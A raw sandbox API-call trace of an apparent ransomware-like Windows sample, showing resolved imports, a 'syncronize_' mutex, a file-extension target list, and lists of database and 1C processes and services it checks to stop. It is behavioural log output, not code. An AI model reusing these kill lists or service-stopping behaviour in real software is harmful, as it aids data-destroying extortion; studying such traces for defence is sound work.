"C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea7a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 27 os_tid = 0x4d4 [0180.864] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75c40000 [0180.867] GetProcAddress (hModule=0x75c40000, lpProcName="GetProcAddress") returned 0x75c51222 [0180.867] GetProcAddress (hModule=0x75c40000, lpProcName="GetModuleHandleW") returned 0x75c534b0 [0180.867] GetProcAddress (hModule=0x75c40000, lpProcName="FindNextFileW") returned 0x75c554ee [0180.867] GetProcAddress (hModule=0x75c40000, lpProcName="FindClose") returned 0x75c54442 [0180.867] GetProcAddress (hModule=0x75c40000, lpProcName="MoveFileW") returned 0x75c69af0 [0180.867] GetProcAddress (hModule=0x75c40000, lpProcName="GetFileSizeEx") returned 0x75c559e2 [0180.867] GetProcAddress (hModule=0x75c40000, lpProcName="GetModuleFileNameW") returned 0x75c54950 [0180.868] GetProcAddress (hModule=0x75c40000, lpProcName="GetFileAttributesW") returned 0x75c51b18 [0180.868] GetProcAddress (hModule=0x75c40000, lpProcName="ExitProcess") returned 0x75c57a10 [0180.868] GetProcAddress (hModule=0x75c40000, lpProcName="GetCommandLineW") returned 0x75c55223 [0180.868] GetProcAddress (hModule=0x75c40000, lpProcName="GetComputerNameW") returned 0x75c5dd0e [0180.868] GetProcAddress (hModule=0x75c40000, lpProcName="GetComputerNameA") returned 0x75c6b6e0 [0180.868] GetProcAddress (hModule=0x75c40000, lpProcName="CreateMutexW") returned 0x75c5424c [0180.868] GetProcAddress (hModule=0x75c40000, lpProcName="lstrlenW") returned 0x75c51700 [0180.868] GetProcAddress (hModule=0x75c40000, lpProcName="lstrlenA") returned 0x75c55a4b [0180.869] GetProcAddress (hModule=0x75c40000, lpProcName="GetCurrentProcess") returned 0x75c51809 [0180.869] GetProcAddress (hModule=0x75c40000, lpProcName="WaitForSingleObject") returned 0x75c51136 [0180.869] GetProcAddress (hModule=0x75c40000, lpProcName="GetLogicalDrives") returned 0x75c55371 [0180.869] GetProcAddress (hModule=0x75c40000, lpProcName="GetTickCount") returned 0x75c5110c [0180.869] GetProcAddress (hModule=0x75c40000, lpProcName="DeleteFileW") returned 0x75c589b3 [0180.869] GetProcAddress (hModule=0x75c40000, lpProcName="WideCharToMultiByte") returned 0x75c5170d [0180.869] GetProcAddress (hModule=0x75c40000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75c51916 [0180.869] GetProcAddress (hModule=0x75c40000, lpProcName="Sleep") returned 0x75c510ff [0180.869] GetProcAddress (hModule=0x75c40000, lpProcName="LeaveCriticalSection") returned 0x76f12270 [0180.870] GetProcAddress (hModule=0x75c40000, lpProcName="ReadFile") returned 0x75c53ed3 [0180.870] GetProcAddress (hModule=0x75c40000, lpProcName="CreateFileW") returned 0x75c53f5c [0180.870] GetProcAddress (hModule=0x75c40000, lpProcName="OpenMutexW") returned 0x75c55151 [0180.870] GetProcAddress (hModule=0x75c40000, lpProcName="EnterCriticalSection") returned 0x76f122b0 [0180.870] GetProcAddress (hModule=0x75c40000, lpProcName="WaitForMultipleObjects") returned 0x75c54220 [0180.870] GetProcAddress (hModule=0x75c40000, lpProcName="lstrcmpiW") returned 0x75c6d5cd [0180.870] GetProcAddress (hModule=0x75c40000, lpProcName="lstrcmpiA") returned 0x75c53e8e [0180.870] GetProcAddress (hModule=0x75c40000, lpProcName="DeleteCriticalSection") returned 0x76f245f5 [0180.871] GetProcAddress (hModule=0x75c40000, lpProcName="ReleaseMutex") returned 0x75c5111e [0180.871] GetProcAddress (hModule=0x75c40000, lpProcName="CloseHandle") returned 0x75c51410 [0180.871] GetProcAddress (hModule=0x75c40000, lpProcName="GetVersion") returned 0x75c54467 [0180.871] GetProcAddress (hModule=0x75c40000, lpProcName="CreateThread") returned 0x75c534d5 [0180.871] GetProcAddress (hModule=0x75c40000, lpProcName="ExpandEnvironmentStringsW") returned 0x75c54173 [0180.871] GetProcAddress (hModule=0x75c40000, lpProcName="QueryPerformanceCounter") returned 0x75c51725 [0180.871] GetProcAddress (hModule=0x75c40000, lpProcName="QueryPerformanceFrequency") returned 0x75c541f0 [0180.871] GetProcAddress (hModule=0x75c40000, lpProcName="GetCurrentProcessId") returned 0x75c511f8 [0180.872] GetProcAddress (hModule=0x75c40000, lpProcName="SetFileAttributesW") returned 0x75c6d4f7 [0180.872] GetProcAddress (hModule=0x75c40000, lpProcName="GetVolumeInformationW") returned 0x75c6c860 [0180.872] GetProcAddress (hModule=0x75c40000, lpProcName="WriteFile") returned 0x75c51282 [0180.872] GetProcAddress (hModule=0x75c40000, lpProcName="SetFilePointerEx") returned 0x75c6c807 [0180.872] GetProcAddress (hModule=0x75c40000, lpProcName="SetEndOfFile") returned 0x75c6ce2e [0180.872] GetProcAddress (hModule=0x75c40000, lpProcName="FindFirstFileW") returned 0x75c54435 [0180.872] GetProcAddress (hModule=0x75c40000, lpProcName="GetProcessHeap") returned 0x75c514e9 [0180.873] GetProcAddress (hModule=0x75c40000, lpProcName="HeapReAlloc") returned 0x76f31f6e [0180.873] GetProcAddress (hModule=0x75c40000, lpProcName="HeapAlloc") returned 0x76f1e026 [0180.873] GetProcAddress (hModule=0x75c40000, lpProcName="HeapFree") returned 0x75c514c9 [0180.873] GetProcAddress (hModule=0x75c40000, lpProcName="CreatePipe") returned 0x75cd415b [0180.873] GetProcAddress (hModule=0x75c40000, lpProcName="SetHandleInformation") returned 0x75c6195c [0180.873] GetProcAddress (hModule=0x75c40000, lpProcName="CreateProcessW") returned 0x75c5103d [0180.873] GetProcAddress (hModule=0x75c40000, lpProcName="CompareStringW") returned 0x75c53bca [0180.873] GetProcAddress (hModule=0x75c40000, lpProcName="CompareStringA") returned 0x75c53c5a [0180.874] GetProcAddress (hModule=0x75c40000, lpProcName="OpenProcess") returned 0x75c51986 [0180.874] GetProcAddress (hModule=0x75c40000, lpProcName="TerminateProcess") returned 0x75c6d802 [0180.874] GetProcAddress (hModule=0x75c40000, lpProcName="GetSystemTime") returned 0x75c55a96 [0180.874] GetProcAddress (hModule=0x75c40000, lpProcName="SystemTimeToFileTime") returned 0x75c55a7e [0180.874] GetProcAddress (hModule=0x75c40000, lpProcName="GetLastError") returned 0x75c511c0 [0180.874] GetProcAddress (hModule=0x75c40000, lpProcName="CreateToolhelp32Snapshot") returned 0x75c7735f [0180.874] GetProcAddress (hModule=0x75c40000, lpProcName="Process32NextW") returned 0x75c7896c [0180.874] GetProcAddress (hModule=0x75c40000, lpProcName="Process32FirstW") returned 0x75c78baf [0180.874] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74ab0000 [0183.008] GetProcAddress (hModule=0x74ab0000, lpProcName="RegOpenKeyExW") returned 0x74ac468d [0183.366] GetProcAddress (hModule=0x74ab0000, lpProcName="RegQueryValueExW") returned 0x74ac46ad [0183.366] GetProcAddress (hModule=0x74ab0000, lpProcName="RegSetValueExW") returned 0x74ac14d6 [0183.366] GetProcAddress (hModule=0x74ab0000, lpProcName="RegCloseKey") returned 0x74ac469d [0183.366] GetProcAddress (hModule=0x74ab0000, lpProcName="OpenProcessToken") returned 0x74ac4304 [0183.366] GetProcAddress (hModule=0x74ab0000, lpProcName="GetTokenInformation") returned 0x74ac431c [0183.366] GetProcAddress (hModule=0x74ab0000, lpProcName="OpenSCManagerW") returned 0x74abca64 [0183.366] GetProcAddress (hModule=0x74ab0000, lpProcName="OpenServiceW") returned 0x74abca4c [0183.367] GetProcAddress (hModule=0x74ab0000, lpProcName="CloseServiceHandle") returned 0x74ac369c [0183.367] GetProcAddress (hModule=0x74ab0000, lpProcName="ControlService") returned 0x74ad7144 [0183.367] GetProcAddress (hModule=0x74ab0000, lpProcName="QueryServiceStatus") returned 0x74ac2a86 [0183.367] GetProcAddress (hModule=0x74ab0000, lpProcName="EnumDependentServicesW") returned 0x74ab1e3a [0183.367] GetProcAddress (hModule=0x74ab0000, lpProcName="EnumServicesStatusExW") returned 0x74abb466 [0183.367] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75170000 [0183.717] GetProcAddress (hModule=0x75170000, lpProcName="SystemParametersInfoW") returned 0x751890d3 [0183.717] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75d50000 [0183.927] GetProcAddress (hModule=0x75d50000, lpProcName="ShellExecuteExW") returned 0x75d71e46 [0183.949] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x76ef0000 [0183.949] GetProcAddress (hModule=0x76ef0000, lpProcName="NtQuerySystemInformation") returned 0x76f0fda0 [0183.949] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x732a0000 [0186.181] GetProcAddress (hModule=0x732a0000, lpProcName="WNetCloseEnum") returned 0x732a2dd6 [0186.181] GetProcAddress (hModule=0x732a0000, lpProcName="WNetOpenEnumW") returned 0x732a2f06 [0186.181] GetProcAddress (hModule=0x732a0000, lpProcName="WNetEnumResourceW") returned 0x732a3058 [0186.181] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x753d0000 [0186.310] GetProcAddress (hModule=0x753d0000, lpProcName="WSAStartup") returned 0x753d3ab2 [0186.310] GetProcAddress (hModule=0x753d0000, lpProcName="socket") returned 0x753d3eb8 [0186.310] GetProcAddress (hModule=0x753d0000, lpProcName="send") returned 0x753d6f01 [0186.310] GetProcAddress (hModule=0x753d0000, lpProcName="recv") returned 0x753d6b0e [0186.310] GetProcAddress (hModule=0x753d0000, lpProcName="connect") returned 0x753d6bdd [0186.310] GetProcAddress (hModule=0x753d0000, lpProcName="closesocket") returned 0x753d3918 [0186.311] GetProcAddress (hModule=0x753d0000, lpProcName="gethostbyname") returned 0x753e7673 [0186.311] GetProcAddress (hModule=0x753d0000, lpProcName="inet_addr") returned 0x753d311b [0186.311] GetProcAddress (hModule=0x753d0000, lpProcName="ntohl") returned 0x753d2d57 [0186.311] GetProcAddress (hModule=0x753d0000, lpProcName="htonl") returned 0x753d2d57 [0186.311] GetProcAddress (hModule=0x753d0000, lpProcName="htons") returned 0x753d2d8b [0186.311] GetProcessHeap () returned 0x590000 [0186.311] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x5a4398 [0186.312] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=10623327135) returned 1 [0186.312] GetTickCount () returned 0x1139bf2 [0186.312] GetCurrentProcessId () returned 0x4d0 [0186.313] GetTickCount () returned 0x1139bf2 [0186.314] GetTickCount () returned 0x1139bf2 [0186.314] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x5a43c0 [0186.314] GetVersion () returned 0x1db10106 [0186.314] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x7) returned 0x593980 [0186.314] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5a0ea0 [0186.314] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a0ea0, Size=0x20) returned 0x5a4410 [0186.314] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4410, Size=0x40) returned 0x5a4980 [0186.314] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5a4c30 [0186.316] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_I28474A") returned 0x0 [0186.316] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_I28474A") returned 0x84 [0186.317] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x593980 | out: hHeap=0x590000) returned 1 [0186.317] lstrlenW (lpString="Global\\syncronize_") returned 18 [0186.317] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4980 | out: hHeap=0x590000) returned 1 [0186.317] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x7) returned 0x593980 [0186.317] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5a0ea0 [0186.317] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a0ea0, Size=0x20) returned 0x5a4410 [0186.317] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4410, Size=0x40) returned 0x5a4980 [0186.317] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x5b4c38 [0186.318] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_I28474U") returned 0x0 [0186.318] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_I28474U") returned 0x88 [0186.318] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x593980 | out: hHeap=0x590000) returned 1 [0186.319] lstrlenW (lpString="Global\\syncronize_") returned 18 [0186.319] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4980 | out: hHeap=0x590000) returned 1 [0186.319] GetVersion () returned 0x1db10106 [0186.319] GetCurrentProcess () returned 0xffffffff [0186.319] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0186.319] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0186.319] CloseHandle (hObject=0x8c) returned 1 [0186.319] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0186.319] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x14) returned 0x593980 [0187.476] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5a0ea0 [0187.476] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a0ea0, Size=0x20) returned 0x5a4410 [0187.476] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4410, Size=0x40) returned 0x5a4980 [0187.476] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4980, Size=0x80) returned 0x5a4980 [0187.476] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4980, Size=0x100) returned 0x5a4980 [0187.476] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x34) returned 0x5a4a88 [0187.476] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x4) returned 0x5a0a90 [0187.476] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x4) returned 0x5a0aa0 [0187.476] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5a0ab0 [0187.477] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5a0ea0 [0187.477] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x4) returned 0x5a4ac8 [0187.477] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5a0eb8 [0187.477] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4ac8, Size=0x8) returned 0x5a4ac8 [0187.477] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5a0ed0 [0187.477] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4ac8, Size=0x10) returned 0x5a4ac8 [0187.477] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5a0ee8 [0187.477] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5a0f00 [0187.477] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4ac8, Size=0x20) returned 0x5a4ac8 [0187.477] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5a0f18 [0187.477] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5a0f30 [0187.477] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a0a90, Size=0x8) returned 0x5a0a90 [0187.477] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a0aa0, Size=0x8) returned 0x5a0aa0 [0187.477] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5a4af0 [0187.477] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5a0f48 [0187.477] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x4) returned 0x5a4b00 [0187.478] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5a0f60 [0187.478] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4b00, Size=0x8) returned 0x5a4b00 [0187.478] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c4c58 [0187.478] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4b00, Size=0x10) returned 0x5a4b00 [0187.478] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c4c70 [0187.478] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5a4b18 [0187.478] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4b00, Size=0x20) returned 0x5a4b28 [0187.478] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a0a90, Size=0x10) returned 0x5a4b00 [0187.478] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a0aa0, Size=0x10) returned 0x5a4b50 [0187.478] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5a0a90 [0187.479] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5c4c88 [0187.479] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x4) returned 0x5a0aa0 [0187.479] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c4ca0 [0187.479] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a0aa0, Size=0x8) returned 0x5a0aa0 [0187.479] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5a4b68 [0187.479] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5c4cb8 [0187.479] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x4) returned 0x5a4b78 [0187.479] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c4cd0 [0187.479] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4b78, Size=0x8) returned 0x5a4b78 [0187.479] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4b00, Size=0x20) returned 0x5a4b88 [0187.479] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4b50, Size=0x20) returned 0x5a4bb0 [0187.479] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x8) returned 0x5a4b50 [0187.479] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5c4ce8 [0187.479] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x4) returned 0x5a4bd8 [0187.480] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xa) returned 0x5c4d00 [0187.480] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4bd8, Size=0x8) returned 0x5a4bd8 [0187.480] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x14) returned 0x5c5040 [0187.480] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x14) returned 0x5c5060 [0187.480] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0187.480] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4980 | out: hHeap=0x590000) returned 1 [0187.480] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0189.687] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d18 [0189.687] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d18, Size=0x20) returned 0x5a4618 [0189.687] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4618, Size=0x40) returned 0x5a49d8 [0189.687] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a49d8, Size=0x80) returned 0x5a49d8 [0189.687] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a49d8, Size=0x100) returned 0x5c5338 [0189.687] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d18 [0189.687] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5c4d18, Size=0x20) returned 0x5a4618 [0189.687] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4618, Size=0x40) returned 0x5a49d8 [0189.687] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a49d8, Size=0x80) returned 0x5a49d8 [0189.688] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a49d8, Size=0x100) returned 0x5c5440 [0189.688] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5c4d18 [0189.688] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x4) returned 0x5a4b00 [0189.688] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x10) returned 0x5c4d30 [0189.688] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4b00, Size=0x8) returned 0x5a4b00 [0189.688] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x14) returned 0x5a49d8 [0189.688] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4b00, Size=0x10) returned 0x5a4b00 [0189.688] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x18) returned 0x5a49f8 [0189.688] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x1a) returned 0x5a4618 [0189.688] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4b00, Size=0x20) returned 0x5a4a18 [0189.688] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x1c) returned 0x5a4640 [0189.688] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x16) returned 0x5a4a40 [0189.688] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x1a) returned 0x5a4668 [0189.689] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc) returned 0x5c4d48 [0189.689] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x4) returned 0x5a4b00 [0189.689] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x40) returned 0x5c5548 [0189.689] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4b00, Size=0x8) returned 0x5a4b00 [0189.689] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x3c) returned 0x5c5590 [0189.689] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4b00, Size=0x10) returned 0x5a4b00 [0190.149] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x14) returned 0x5a4a60 [0190.149] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x18) returned 0x5c55d8 [0190.149] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a4b00, Size=0x20) returned 0x5c55f8 [0190.149] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x24) returned 0x5c5620 [0190.150] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0190.150] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5338 | out: hHeap=0x590000) returned 1 [0190.150] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0190.150] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5c5440 | out: hHeap=0x590000) returned 1 [0190.151] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5c5ba0 [0190.563] EnumServicesStatusExW (in: hSCManager=0x5c5ba0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0190.568] GetLastError () returned 0xea [0190.568] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x9a8) returned 0x5c94a0 [0190.571] EnumServicesStatusExW (in: hSCManager=0x5c5ba0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5c94a0, cbBufSize=0x9a8, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5c94a0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0190.577] CloseServiceHandle (hSCObject=0x5c5ba0) returned 1 [0190.818] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0190.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0190.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0190.819] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0190.819] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0190.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0190.819] lstrlenW (lpString="AudioSrv") returned 8 [0190.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0190.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0190.819] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0190.819] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0190.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0190.820] lstrlenW (lpString="CscService") returned 10 [0190.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0190.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0190.820] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0190.820] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0190.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0190.820] lstrlenW (lpString="DcomLaunch") returned 10 [0190.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0190.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0190.820] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0190.820] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0190.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0190.821] lstrlenW (lpString="Dhcp") returned 4 [0190.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0190.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0190.821] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0190.821] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0190.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0190.821] lstrlenW (lpString="Dnscache") returned 8 [0190.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0190.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0190.821] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0190.821] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0190.822] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0190.822] lstrlenW (lpString="eventlog") returned 8 [0190.822] lstrcmpiW 